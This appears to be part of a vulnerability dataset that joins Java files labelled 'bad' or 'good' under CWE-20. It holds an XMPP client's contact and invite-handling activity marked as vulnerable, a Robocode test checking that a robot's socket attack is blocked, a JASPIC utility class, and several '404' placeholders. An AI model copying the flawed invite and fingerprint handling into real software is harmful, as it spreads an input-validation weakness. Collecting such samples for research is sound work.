Fragment prev = getSupportFragmentManager().findFragmentByTag(FRAGMENT_TAG_DIALOG);
if (prev != null) {
ft.remove(prev);
}
ft.addToBackStack(null);
EnterJidDialog dialog = EnterJidDialog.newInstance(
mActivatedAccounts,
getString(R.string.dialog_title_create_contact),
getString(R.string.create),
prefilledJid,
null,
invite == null || !invite.hasFingerprints()
);
dialog.setOnEnterJidDialogPositiveListener((accountJid, contactJid) -> {
if (!xmppConnectionServiceBound) {
return false;
}
final Account account = xmppConnectionService.findAccountByJid(accountJid);
if (account == null) {
return true;
}
final Contact contact = account.getRoster().getContact(contactJid);
if (invite != null && invite.getName() != null) {
contact.setServerName(invite.getName());
}
if (contact.isSelf()) {
switchToConversation(contact, null);
return true;
} else if (contact.showInRoster()) {
throw new EnterJidDialog.JidError(getString(R.string.contact_already_exists));
} else {
xmppConnectionService.createContact(contact, true);
if (invite != null && invite.hasFingerprints()) {
xmppConnectionService.verifyFingerprints(contact, invite.getFingerprints());
}
switchToConversation(contact, invite == null ? null : invite.getBody());
return true;
}
});
dialog.show(ft, FRAGMENT_TAG_DIALOG);
}
@SuppressLint("InflateParams")
protected void showJoinConferenceDialog(final String prefilledJid) {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
Fragment prev = getSupportFragmentManager().findFragmentByTag(FRAGMENT_TAG_DIALOG);
if (prev != null) {
ft.remove(prev);
}
ft.addToBackStack(null);
JoinConferenceDialog joinConferenceFragment = JoinConferenceDialog.newInstance(prefilledJid, mActivatedAccounts);
joinConferenceFragment.show(ft, FRAGMENT_TAG_DIALOG);
}
private void showCreateConferenceDialog() {
FragmentTransaction ft = getSupportFragmentManager().beginTransaction();
Fragment prev = getSupportFragmentManager().findFragmentByTag(FRAGMENT_TAG_DIALOG);
if (prev != null) {
ft.remove(prev);
}
ft.addToBackStack(null);
CreateConferenceDialog createConferenceFragment = CreateConferenceDialog.newInstance(mActivatedAccounts);
createConferenceFragment.show(ft, FRAGMENT_TAG_DIALOG);
}
private Account getSelectedAccount(Spinner spinner) {
if (!spinner.isEnabled()) {
return null;
}
Jid jid;
try {
if (Config.DOMAIN_LOCK != null) {
jid = Jid.of((String) spinner.getSelectedItem(), Config.DOMAIN_LOCK, null);
} else {
jid = Jid.of((String) spinner.getSelectedItem());
}
} catch (final IllegalArgumentException e) {
return null;
}
return xmppConnectionService.findAccountByJid(jid);
}
protected void switchToConversation(Contact contact, String body) {
Conversation conversation = xmppConnectionService
.findOrCreateConversation(contact.getAccount(),
contact.getJid(), false, true);
switchToConversation(conversation, body);
}
@Override
public void invalidateOptionsMenu() {
boolean isExpanded = mMenuSearchView != null && mMenuSearchView.isActionViewExpanded();
String text = mSearchEditText != null ? mSearchEditText.getText().toString() : "";
if (isExpanded) {
mInitialSearchValue.push(text);
oneShotKeyboardSuppress.set(true);
}
super.invalidateOptionsMenu();
}
private void updateSearchViewHint() {
if (binding == null || mSearchEditText == null) {
return;
}
if (binding.startConversationViewPager.getCurrentItem() == 0) {
mSearchEditText.setHint(R.string.search_contacts);
} else {
mSearchEditText.setHint(R.string.search_groups);
}
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
getMenuInflater().inflate(R.menu.start_conversation, menu);
MenuItem menuHideOffline = menu.findItem(R.id.action_hide_offline);
MenuItem joinGroupChat = menu.findItem(R.id.action_join_conference);
MenuItem qrCodeScanMenuItem = menu.findItem(R.id.action_scan_qr_code);
joinGroupChat.setVisible(binding.startConversationViewPager.getCurrentItem() == 1);
qrCodeScanMenuItem.setVisible(isCameraFeatureAvailable());
menuHideOffline.setChecked(this.mHideOfflineContacts);
mMenuSearchView = menu.findItem(R.id.action_search);
mMenuSearchView.setOnActionExpandListener(mOnActionExpandListener);
View mSearchView = mMenuSearchView.getActionView();
mSearchEditText = mSearchView.findViewById(R.id.search_field);
mSearchEditText.addTextChangedListener(mSearchTextWatcher);
mSearchEditText.setOnEditorActionListener(mSearchDone);
String initialSearchValue = mInitialSearchValue.pop();
if (initialSearchValue != null) {
mMenuSearchView.expandActionView();
mSearchEditText.append(initialSearchValue);
filter(initialSearchValue);
}
updateSearchViewHint();
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
if (MenuDoubleTabUtil.shouldIgnoreTap()) {
return false;
}
switch (item.getItemId()) {
case android.R.id.home:
navigateBack();
return true;
case R.id.action_join_conference:
showJoinConferenceDialog(null);
return true;
case R.id.action_scan_qr_code:
UriHandlerActivity.scan(this);
return true;
case R.id.action_hide_offline:
mHideOfflineContacts = !item.isChecked();
getPreferences().edit().putBoolean("hide_offline", mHideOfflineContacts).commit();
if (mSearchEditText != null) {
filter(mSearchEditText.getText().toString());
}
invalidateOptionsMenu();
}
return super.onOptionsItemSelected(item);
}
@Override
public boolean onKeyUp(int keyCode, KeyEvent event) {
if (keyCode == KeyEvent.KEYCODE_SEARCH && !event.isLongPress()) {
openSearch();
return true;
}
int c = event.getUnicodeChar();
if (c > 32) {
if (mSearchEditText != null && !mSearchEditText.isFocused()) {
openSearch();
mSearchEditText.append(Character.toString((char) c));
return true;
}
}
return super.onKeyUp(keyCode, event);
}
private void openSearch() {
if (mMenuSearchView != null) {
mMenuSearchView.expandActionView();
}
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (resultCode == RESULT_OK) {
if (xmppConnectionServiceBound) {
this.mPostponedActivityResult = null;
if (requestCode == REQUEST_CREATE_CONFERENCE) {
Account account = extractAccount(intent);
final String name = intent.getStringExtra(ChooseContactActivity.EXTRA_GROUP_CHAT_NAME);
final List<Jid> jids = ChooseContactActivity.extractJabberIds(intent);
if (account != null && jids.size() > 0) {
if (xmppConnectionService.createAdhocConference(account, name, jids, mAdhocConferenceCallback)) {
mToast = Toast.makeText(this, R.string.creating_conference, Toast.LENGTH_LONG);
mToast.show();
}
}
}
} else {
this.mPostponedActivityResult = new Pair<>(requestCode, intent);
}
}
super.onActivityResult(requestCode, requestCode, intent);
}
private void askForContactsPermissions() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
if (checkSelfPermission(Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
if (mRequestedContactsPermission.compareAndSet(false, true)) {
if (shouldShowRequestPermissionRationale(Manifest.permission.READ_CONTACTS)) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(R.string.sync_with_contacts);
builder.setMessage(R.string.sync_with_contacts_long);
builder.setPositiveButton(R.string.next, (dialog, which) -> requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, REQUEST_SYNC_CONTACTS));
builder.setOnDismissListener(dialog -> requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, REQUEST_SYNC_CONTACTS));
builder.create().show();
} else {
requestPermissions(new String[]{Manifest.permission.READ_CONTACTS}, REQUEST_SYNC_CONTACTS);
}
}
}
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String permissions[], @NonNull int[] grantResults) {
if (grantResults.length > 0)
if (grantResults[0] == PackageManager.PERMISSION_GRANTED) {
ScanActivity.onRequestPermissionResult(this, requestCode, grantResults);
if (requestCode == REQUEST_SYNC_CONTACTS && xmppConnectionServiceBound) {
xmppConnectionService.loadPhoneContacts();
xmppConnectionService.startContactObserver();
}
}
}
private void configureHomeButton() {
final ActionBar actionBar = getSupportActionBar();
if (actionBar == null) {
return;
}
boolean openConversations = !xmppConnectionService.isConversationsListEmpty(null);
actionBar.setDisplayHomeAsUpEnabled(openConversations);
actionBar.setDisplayHomeAsUpEnabled(openConversations);
}
@Override
protected void onBackendConnected() {
if (mPostponedActivityResult != null) {
onActivityResult(mPostponedActivityResult.first, RESULT_OK, mPostponedActivityResult.second);
this.mPostponedActivityResult = null;
}
this.mActivatedAccounts.clear();
for (Account account : xmppConnectionService.getAccounts()) {
if (account.getStatus() != Account.State.DISABLED) {
if (Config.DOMAIN_LOCK != null) {
this.mActivatedAccounts.add(account.getJid().getLocal());
} else {
this.mActivatedAccounts.add(account.getJid().asBareJid().toString());
}
}
}
configureHomeButton();
Intent intent = pendingViewIntent.pop();
if (intent != null && processViewIntent(intent)) {
filter(null);
} else {
if (mSearchEditText != null) {
filter(mSearchEditText.getText().toString());
} else {
filter(null);
}
}
Fragment fragment = getSupportFragmentManager().findFragmentByTag(FRAGMENT_TAG_DIALOG);
if (fragment != null && fragment instanceof OnBackendConnected) {
Log.d(Config.LOGTAG, "calling on backend connected on dialog");
((OnBackendConnected) fragment).onBackendConnected();
}
}
protected boolean processViewIntent(@NonNull Intent intent) {
final String inviteUri = intent.getStringExtra(WelcomeActivity.EXTRA_INVITE_URI);
if (inviteUri != null) {
Invite invite = new Invite(inviteUri);
if (invite.isJidValid()) {
return invite.invite();
}
}
final String action = intent.getAction();
if (action == null) {
return false;
}
switch (action) {
case Intent.ACTION_SENDTO:
case Intent.ACTION_VIEW:
Uri uri = intent.getData();
if (uri != null) {
Invite invite = new Invite(intent.getData(), intent.getBooleanExtra("scanned", false));
invite.account = intent.getStringExtra("account");
return invite.invite();
} else {
return false;
}
}
return false;
}
private boolean handleJid(Invite invite) {
List<Contact> contacts = xmppConnectionService.findContacts(invite.getJid(), invite.account);
if (invite.isAction(XmppUri.ACTION_JOIN)) {
Conversation muc = xmppConnectionService.findFirstMuc(invite.getJid());
if (muc != null) {
switchToConversation(muc, invite.getBody());
return true;
} else {
showJoinConferenceDialog(invite.getJid().asBareJid().toString());
return false;
}
} else if (contacts.size() == 0) {
showCreateContactDialog(invite.getJid().toString(), invite);
return false;
} else if (contacts.size() == 1) {
Contact contact = contacts.get(0);
if (!invite.isSafeSource() && invite.hasFingerprints()) {
displayVerificationWarningDialog(contact, invite);
} else {
if (invite.hasFingerprints()) {
if (xmppConnectionService.verifyFingerprints(contact, invite.getFingerprints())) {
Toast.makeText(this, R.string.verified_fingerprints, Toast.LENGTH_SHORT).show();
}
}
if (invite.account != null) {
xmppConnectionService.getShortcutService().report(contact);
}
switchToConversation(contact, invite.getBody());
}
return true;
} else {
if (mMenuSearchView != null) {
mMenuSearchView.expandActionView();
mSearchEditText.setText("");
mSearchEditText.append(invite.getJid().toString());
filter(invite.getJid().toString());
} else {
mInitialSearchValue.push(invite.getJid().toString());
}
return true;
}
}
private void displayVerificationWarningDialog(final Contact contact, final Invite invite) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle(R.string.verify_omemo_keys);
View view = getLayoutInflater().inflate(R.layout.dialog_verify_fingerprints, null);
final CheckBox isTrustedSource = view.findViewById(R.id.trusted_source);
TextView warning = view.findViewById(R.id.warning);
warning.setText(JidDialog.style(this, R.string.verifying_omemo_keys_trusted_source, contact.getJid().asBareJid().toEscapedString(), contact.getDisplayName()));
builder.setView(view);
builder.setPositiveButton(R.string.confirm, (dialog, which) -> {
if (isTrustedSource.isChecked() && invite.hasFingerprints()) {
xmppConnectionService.verifyFingerprints(contact, invite.getFingerprints());
}
switchToConversation(contact, invite.getBody());
});
builder.setNegativeButton(R.string.cancel, (dialog, which) -> StartConversationActivity.this.finish());
AlertDialog dialog = builder.create();
dialog.setCanceledOnTouchOutside(false);
dialog.setOnCancelListener(dialog1 -> StartConversationActivity.this.finish());
dialog.show();
}
protected void filter(String needle) {
if (xmppConnectionServiceBound) {
this.filterContacts(needle);
this.filterConferences(needle);
}
}
protected void filterContacts(String needle) {
this.contacts.clear();
final List<Account> accounts = xmppConnectionService.getAccounts();
final boolean singleAccountActive = isSingleAccountActive(accounts);
for (Account account : accounts) {
if (account.getStatus() != Account.State.DISABLED) {
for (Contact contact : account.getRoster().getContacts()) {
Presence.Status s = contact.getShownStatus();
if ((contact.showInRoster() || (singleAccountActive && contact.showInPhoneBook())) && contact.match(this, needle)
&& (!this.mHideOfflineContacts
|| (needle != null && !needle.trim().isEmpty())
|| s.compareTo(Presence.Status.OFFLINE) < 0)) {
this.contacts.add(contact);
}
}
}
}
Collections.sort(this.contacts);
mContactsAdapter.notifyDataSetChanged();
}
private static boolean isSingleAccountActive(final List<Account> accounts) {
int i = 0;
for(Account account : accounts) {
if (account.getStatus() != Account.State.DISABLED) {
++i;
}
}
return i == 1;
}
protected void filterConferences(String needle) {
this.conferences.clear();
for (Account account : xmppConnectionService.getAccounts()) {
if (account.getStatus() != Account.State.DISABLED) {
for (Bookmark bookmark : account.getBookmarks()) {
if (bookmark.match(this, needle)) {
this.conferences.add(bookmark);
}
}
}
}
Collections.sort(this.conferences);
mConferenceAdapter.notifyDataSetChanged();
}
private void onTabChanged() {
@DrawableRes final int fabDrawable;
if (binding.startConversationViewPager.getCurrentItem() == 0) {
fabDrawable = R.drawable.ic_person_add_white_24dp;
} else {
fabDrawable = R.drawable.ic_group_add_white_24dp;
}
binding.fab.setImageResource(fabDrawable);
invalidateOptionsMenu();
}
@Override
public void OnUpdateBlocklist(final Status status) {
refreshUi();
}
@Override
protected void refreshUiReal() {
if (mSearchEditText != null) {
filter(mSearchEditText.getText().toString());
}
configureHomeButton();
}
@Override
public void onBackPressed() {
navigateBack();
}
private void navigateBack() {
if (xmppConnectionService != null && !xmppConnectionService.isConversationsListEmpty(null)) {
Intent intent = new Intent(this, ConversationsActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
startActivity(intent);
}
finish();
}
@Override
public void onCreateDialogPositiveClick(Spinner spinner, String name) {
if (!xmppConnectionServiceBound) {
return;
}
final Account account = getSelectedAccount(spinner);
if (account == null) {
return;
}
Intent intent = new Intent(getApplicationContext(), ChooseContactActivity.class);
intent.putExtra(ChooseContactActivity.EXTRA_SHOW_ENTER_JID, false);
intent.putExtra(ChooseContactActivity.EXTRA_SELECT_MULTIPLE, true);
intent.putExtra(ChooseContactActivity.EXTRA_GROUP_CHAT_NAME, name.trim());
intent.putExtra(ChooseContactActivity.EXTRA_ACCOUNT, account.getJid().asBareJid().toString());
intent.putExtra(ChooseContactActivity.EXTRA_TITLE_RES_ID, R.string.choose_participants);
startActivityForResult(intent, REQUEST_CREATE_CONFERENCE);
}
@Override
public void onJoinDialogPositiveClick(Dialog dialog, Spinner spinner, AutoCompleteTextView jid, boolean isBookmarkChecked) {
if (!xmppConnectionServiceBound) {
return;
}
final Account account = getSelectedAccount(spinner);
if (account == null) {
return;
}
final Jid conferenceJid;
try {
conferenceJid = Jid.of(jid.getText().toString());
} catch (final IllegalArgumentException e) {
jid.setError(getString(R.string.invalid_jid));
return;
}
if (isBookmarkChecked) {
if (account.hasBookmarkFor(conferenceJid)) {
jid.setError(getString(R.string.bookmark_already_exists));
} else {
final Bookmark bookmark = new Bookmark(account, conferenceJid.asBareJid());
bookmark.setAutojoin(getBooleanPreference("autojoin", R.bool.autojoin));
String nick = conferenceJid.getResource();
if (nick != null && !nick.isEmpty()) {
bookmark.setNick(nick);
}
account.getBookmarks().add(bookmark);
xmppConnectionService.pushBookmarks(account);
final Conversation conversation = xmppConnectionService
.findOrCreateConversation(account, conferenceJid, true, true, true);
bookmark.setConversation(conversation);
dialog.dismiss();
switchToConversation(conversation);
}
} else {
final Conversation conversation = xmppConnectionService
.findOrCreateConversation(account, conferenceJid, true, true, true);
dialog.dismiss();
switchToConversation(conversation);
}
}
@Override
public void onConversationUpdate() {
refreshUi();
}
public static class MyListFragment extends ListFragment {
private AdapterView.OnItemClickListener mOnItemClickListener;
private int mResContextMenu;
public void setContextMenu(final int res) {
this.mResContextMenu = res;
}
@Override
public void onListItemClick(final ListView l, final View v, final int position, final long id) {
if (mOnItemClickListener != null) {
mOnItemClickListener.onItemClick(l, v, position, id);
}
}
public void setOnListItemClickListener(AdapterView.OnItemClickListener l) {
this.mOnItemClickListener = l;
}
@Override
public void onViewCreated(@NonNull final View view, final Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
registerForContextMenu(getListView());
getListView().setFastScrollEnabled(true);
getListView().setDivider(null);
getListView().setDividerHeight(0);
}
@Override
public void onCreateContextMenu(final ContextMenu menu, final View v, final ContextMenuInfo menuInfo) {
super.onCreateContextMenu(menu, v, menuInfo);
final StartConversationActivity activity = (StartConversationActivity) getActivity();
if (activity == null) {
return;
}
activity.getMenuInflater().inflate(mResContextMenu, menu);
final AdapterView.AdapterContextMenuInfo acmi = (AdapterContextMenuInfo) menuInfo;
if (mResContextMenu == R.menu.conference_context) {
activity.conference_context_id = acmi.position;
} else if (mResContextMenu == R.menu.contact_context) {
activity.contact_context_id = acmi.position;
final Contact contact = (Contact) activity.contacts.get(acmi.position);
final MenuItem blockUnblockItem = menu.findItem(R.id.context_contact_block_unblock);
final MenuItem showContactDetailsItem = menu.findItem(R.id.context_contact_details);
final MenuItem deleteContactMenuItem = menu.findItem(R.id.context_delete_contact);
if (contact.isSelf()) {
showContactDetailsItem.setVisible(false);
}
deleteContactMenuItem.setVisible(contact.showInRoster());
XmppConnection xmpp = contact.getAccount().getXmppConnection();
if (xmpp != null && xmpp.getFeatures().blocking() && !contact.isSelf()) {
if (contact.isBlocked()) {
blockUnblockItem.setTitle(R.string.unblock_contact);
} else {
blockUnblockItem.setTitle(R.string.block_contact);
}
} else {
blockUnblockItem.setVisible(false);
}
}
}
@Override
public boolean onContextItemSelected(final MenuItem item) {
StartConversationActivity activity = (StartConversationActivity) getActivity();
if (activity == null) {
return true;
}
switch (item.getItemId()) {
case R.id.context_contact_details:
activity.openDetailsForContact();
break;
case R.id.context_show_qr:
activity.showQrForContact();
break;
case R.id.context_contact_block_unblock:
activity.toggleContactBlock();
break;
case R.id.context_delete_contact:
activity.deleteContact();
break;
case R.id.context_join_conference:
activity.openConversationForBookmark();
break;
case R.id.context_share_uri:
activity.shareBookmarkUri();
break;
case R.id.context_delete_conference:
activity.deleteConference();
}
return true;
}
}
public class ListPagerAdapter extends PagerAdapter {
FragmentManager fragmentManager;
MyListFragment[] fragments;
public ListPagerAdapter(FragmentManager fm) {
fragmentManager = fm;
fragments = new MyListFragment[2];
}
public void requestFocus(int pos) {
if (fragments.length > pos) {
fragments[pos].getListView().requestFocus();
}
}
@Override
public void destroyItem(@NonNull ViewGroup container, int position, @NonNull Object object) {
FragmentTransaction trans = fragmentManager.beginTransaction();
trans.remove(fragments[position]);
trans.commit();
fragments[position] = null;
}
@NonNull
@Override
public Fragment instantiateItem(@NonNull ViewGroup container, int position) {
Fragment fragment = getItem(position);
FragmentTransaction trans = fragmentManager.beginTransaction();
trans.add(container.getId(), fragment, "fragment:" + position);
trans.commit();
return fragment;
}
@Override
public int getCount() {
return fragments.length;
}
@Override
public boolean isViewFromObject(@NonNull View view, @NonNull Object fragment) {
return ((Fragment) fragment).getView() == view;
}
@Nullable
@Override
public CharSequence getPageTitle(int position) {
switch (position) {
case 0:
return getResources().getString(R.string.contacts);
case 1:
return getResources().getString(R.string.conferences);
default:
return super.getPageTitle(position);
}
}
Fragment getItem(int position) {
if (fragments[position] == null) {
final MyListFragment listFragment = new MyListFragment();
if (position == 1) {
listFragment.setListAdapter(mConferenceAdapter);
listFragment.setContextMenu(R.menu.conference_context);
listFragment.setOnListItemClickListener((arg0, arg1, p, arg3) -> openConversationForBookmark(p));
} else {
listFragment.setListAdapter(mContactsAdapter);
listFragment.setContextMenu(R.menu.contact_context);
listFragment.setOnListItemClickListener((arg0, arg1, p, arg3) -> openConversationForContact(p));
}
fragments[position] = listFragment;
}
return fragments[position];
}
}
private class Invite extends XmppUri {
public String account;
public Invite(final Uri uri) {
super(uri);
}
public Invite(final String uri) {
super(uri);
}
public Invite(Uri uri, boolean safeSource) {
super(uri, safeSource);
}
boolean invite() {
if (!isJidValid()) {
Toast.makeText(StartConversationActivity.this, R.string.invalid_jid, Toast.LENGTH_SHORT).show();
return false;
}
if (getJid() != null) {
return handleJid(this);
}
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_418_2
|
crossvul-java_data_bad_4247_0
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4247_0
|
crossvul-java_data_bad_4247_3
|
404: Not Found
|
./CrossVul/dataset_final_sorted/CWE-20/java/bad_4247_3
|
crossvul-java_data_good_761_2
|
/**
* Copyright (c) 2001-2019 Mathew A. Nelson and Robocode contributors
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* https://robocode.sourceforge.io/license/epl-v10.html
*/
package net.sf.robocode.test.robots;
import net.sf.robocode.test.helpers.RobocodeTestBed;
import org.junit.Assert;
import robocode.control.events.TurnEndedEvent;
/**
* @author Flemming N. Larsen (original)
*/
public class TestConstructorHttpAttack extends RobocodeTestBed {
private boolean messagedInitialization;
private boolean securityExceptionOccurred;
@Override
public String getRobotNames() {
return "tested.robots.ConstructorHttpAttack,sample.Target";
}
@Override
public void onTurnEnded(TurnEndedEvent event) {
super.onTurnEnded(event);
final String out = event.getTurnSnapshot().getRobots()[0].getOutputStreamSnapshot();
if (out.contains("An error occurred during initialization")) {
messagedInitialization = true;
}
if (out.contains("java.lang.SecurityException:")) {
securityExceptionOccurred = true;
}
}
@Override
protected void runTeardown() {
Assert.assertTrue("Error during initialization", messagedInitialization);
Assert.assertTrue("Socket connection is not allowed", securityExceptionOccurred);
}
@Override
protected int getExpectedErrors() {
return 2;
}
}
|
./CrossVul/dataset_final_sorted/CWE-20/java/good_761_2
|
crossvul-java_data_good_4247_3
|
/*
* Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
* http://www.eclipse.org/legal/epl-2.0.
*
* This Source Code may also be made available under the following Secondary
* Licenses when the conditions for such availability set forth in the
* Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
* version 2 with the GNU Classpath Exception, which is available at
* https://www.gnu.org/software/classpath/license.html.
*
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
package org.glassfish.soteria.mechanisms.jaspic;
import static java.lang.Boolean.TRUE;
import static org.glassfish.soteria.Utils.isEmpty;
import java.io.IOException;
import java.security.AccessController;
import java.security.Principal;
import java.security.PrivilegedAction;
import java.util.List;
import java.util.Set;
import java.util.function.Supplier;
import javax.security.enterprise.AuthenticationStatus;
import javax.security.auth.Subject;
import javax.security.auth.callback.Callback;
import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.callback.UnsupportedCallbackException;
import javax.security.auth.message.AuthStatus;
import javax.security.auth.message.MessageInfo;
import javax.security.auth.message.callback.CallerPrincipalCallback;
import javax.security.auth.message.callback.GroupPrincipalCallback;
import javax.security.auth.message.config.AuthConfigFactory;
import javax.security.auth.message.module.ServerAuthModule;
import javax.security.enterprise.authentication.mechanism.http.AuthenticationParameters;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.glassfish.soteria.cdi.spi.CDIPerRequestInitializer;
/**
* A set of utility methods for using the JASPIC API
*
* @author Arjan Tijms
*
*/
public final class Jaspic {
public static final String IS_AUTHENTICATION = "org.glassfish.soteria.security.message.request.authentication";
public static final String IS_AUTHENTICATION_FROM_FILTER = "org.glassfish.soteria.security.message.request.authenticationFromFilter";
public static final String IS_SECURE_RESPONSE = "org.glassfish.soteria.security.message.request.secureResponse";
public static final String IS_REFRESH = "org.glassfish.soteria.security.message.request.isRefresh";
public static final String DID_AUTHENTICATION = "org.glassfish.soteria.security.message.request.didAuthentication";
public static final String AUTH_PARAMS = "org.glassfish.soteria.security.message.request.authParams";
public static final String LOGGEDIN_USERNAME = "org.glassfish.soteria.security.message.loggedin.username";
public static final String LOGGEDIN_ROLES = "org.glassfish.soteria.security.message.loggedin.roles";
public static final String LAST_AUTH_STATUS = "org.glassfish.soteria.security.message.authStatus";
public static final String CONTEXT_REGISTRATION_ID = "org.glassfish.soteria.security.message.registrationId";
// Key in the MessageInfo Map that when present AND set to true indicated a protected resource is being accessed.
// When the resource is not protected, GlassFish omits the key altogether. WebSphere does insert the key and sets
// it to false.
private static final String IS_MANDATORY = "javax.security.auth.message.MessagePolicy.isMandatory";
private static final String REGISTER_SESSION = "javax.servlet.http.registerSession";
private Jaspic() {}
public static boolean authenticate(HttpServletRequest request, HttpServletResponse response, AuthenticationParameters authParameters) {
try {
// JASPIC 1.1 does not have any way to distinguish between a
// SAM called at start of a request or following request#authenticate.
// See https://java.net/jira/browse/JASPIC_SPEC-5
// We now add this as a request attribute instead, but should better
// be the MessageInfo map
request.setAttribute(IS_AUTHENTICATION, true);
if (authParameters != null) {
request.setAttribute(AUTH_PARAMS, authParameters);
}
return request.authenticate(response);
} catch (ServletException | IOException e) {
throw new IllegalArgumentException(e);
} finally {
request.removeAttribute(IS_AUTHENTICATION);
if (authParameters != null) {
request.removeAttribute(AUTH_PARAMS);
}
}
}
public static AuthenticationParameters getAuthParameters(HttpServletRequest request) {
AuthenticationParameters authParameters = (AuthenticationParameters) request.getAttribute(AUTH_PARAMS);
if (authParameters == null) {
authParameters = new AuthenticationParameters();
}
return authParameters;
}
public static void logout(HttpServletRequest request, HttpServletResponse response) {
try {
request.logout();
// Need to invalidate the session to really logout - request.logout only logs the user out for the *current request*
// This is nearly always unwanted. Although the SAM's cleanSubject method can clear any session data too if needed,
// invalidating the session is pretty much the safest way.
request.getSession().invalidate();
} catch (ServletException e) {
throw new IllegalArgumentException(e);
}
}
public static void cleanSubject(Subject subject) {
if (subject != null) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
subject.getPrincipals().clear();
return null;
}
});
}
}
public static boolean isRegisterSession(MessageInfo messageInfo) {
return Boolean.valueOf((String)messageInfo.getMap().get(REGISTER_SESSION));
}
public static boolean isProtectedResource(MessageInfo messageInfo) {
return Boolean.valueOf((String) messageInfo.getMap().get(IS_MANDATORY));
}
@SuppressWarnings("unchecked")
public static void setRegisterSession(MessageInfo messageInfo, String username, Set<String> roles) {
messageInfo.getMap().put("javax.servlet.http.registerSession", TRUE.toString());
HttpServletRequest request = (HttpServletRequest) messageInfo.getRequestMessage();
request.setAttribute(LOGGEDIN_USERNAME, username);
// TODO: check for existing roles and add
request.setAttribute(LOGGEDIN_ROLES, roles);
}
public static boolean isAuthenticationRequest(HttpServletRequest request) {
return TRUE.equals(request.getAttribute(IS_AUTHENTICATION));
}
public static void notifyContainerAboutLogin(Subject clientSubject, CallbackHandler handler, Principal callerPrincipal, Set<String> groups) {
handleCallbacks(clientSubject, handler, new CallerPrincipalCallback(clientSubject, callerPrincipal), groups);
}
public static void notifyContainerAboutLogin(Subject clientSubject, CallbackHandler handler, String callerPrincipalName, Set<String> groups) {
handleCallbacks(clientSubject, handler, new CallerPrincipalCallback(clientSubject, callerPrincipalName), groups);
}
private static void handleCallbacks(Subject clientSubject, CallbackHandler handler, CallerPrincipalCallback callerPrincipalCallback, Set<String> groups) {
if (clientSubject == null) {
throw new IllegalArgumentException("Null clientSubject!");
}
if (handler == null) {
throw new IllegalArgumentException("Null callback handler!");
}
try {
if (groups == null || isEmpty(groups) ||
(callerPrincipalCallback.getPrincipal() == null && callerPrincipalCallback.getName() == null)) {
// don't handle groups if null/empty or if caller is null
handler.handle(new Callback[] {
callerPrincipalCallback });
} else {
handler.handle(new Callback[] {
callerPrincipalCallback,
new GroupPrincipalCallback(clientSubject, groups.toArray(new String[groups.size()])) });
}
} catch (IOException | UnsupportedCallbackException e) {
// Should not happen
throw new IllegalStateException(e);
}
}
public static void setLastAuthenticationStatus(HttpServletRequest request, AuthenticationStatus status) {
request.setAttribute(LAST_AUTH_STATUS, status);
}
public static AuthenticationStatus getLastAuthenticationStatus(HttpServletRequest request) {
return (AuthenticationStatus) request.getAttribute(LAST_AUTH_STATUS);
}
public static AuthStatus fromAuthenticationStatus(AuthenticationStatus authenticationStatus) {
switch (authenticationStatus) {
case NOT_DONE: case SUCCESS:
return AuthStatus.SUCCESS;
case SEND_FAILURE:
return AuthStatus.SEND_FAILURE;
case SEND_CONTINUE:
return AuthStatus.SEND_CONTINUE;
default:
throw new IllegalStateException("Unhandled status:" + authenticationStatus.name());
}
}
/**
* Should be called when the callback handler is used with the intention that an actual
* user is going to be authenticated (as opposed to using the handler for the "do nothing" protocol
* which uses the unauthenticated identity).
*
* @param request The involved HTTP servlet request.
*
*/
public static void setDidAuthentication(HttpServletRequest request) {
request.setAttribute(DID_AUTHENTICATION, TRUE);
}
/**
* Gets the app context ID from the servlet context.
*
* <p>
* The app context ID is the ID that JASPIC associates with the given application.
* In this case that given application is the web application corresponding to the
* ServletContext.
*
* @param context the servlet context for which to obtain the JASPIC app context ID
* @return the app context ID for the web application corresponding to the given context
*/
public static String getAppContextID(ServletContext context) {
return context.getVirtualServerName() + " " + context.getContextPath();
}
/**
* Registers a server auth module as the one and only module for the application corresponding to
* the given servlet context.
*
* <p>
* This will override any other modules that have already been registered, either via proprietary
* means or using the standard API.
*
* @param cdiPerRequestInitializer A {@link CDIPerRequestInitializer} to pass to the {@link ServerAuthModule}
* @param servletContext the context of the app for which the module is registered
* @return A String identifier assigned by an underlying factory corresponding to an underlying factory-factory-factory registration
*/
public static String registerServerAuthModule(CDIPerRequestInitializer cdiPerRequestInitializer, ServletContext servletContext) {
// Register the factory-factory-factory for the SAM
String registrationId = AccessController.doPrivileged(new PrivilegedAction<String>() {
public String run() {
return AuthConfigFactory.getFactory().registerConfigProvider(
new DefaultAuthConfigProvider(() -> new HttpBridgeServerAuthModule(cdiPerRequestInitializer)),
"HttpServlet",
getAppContextID(servletContext),
"Default single SAM authentication config provider");
}
});
// Remember the registration ID returned by the factory, so we can unregister the JASPIC module when the web module
// is undeployed. JASPIC being the low level API that it is won't do this automatically.
servletContext.setAttribute(CONTEXT_REGISTRATION_ID, registrationId);
return registrationId;
}
/**
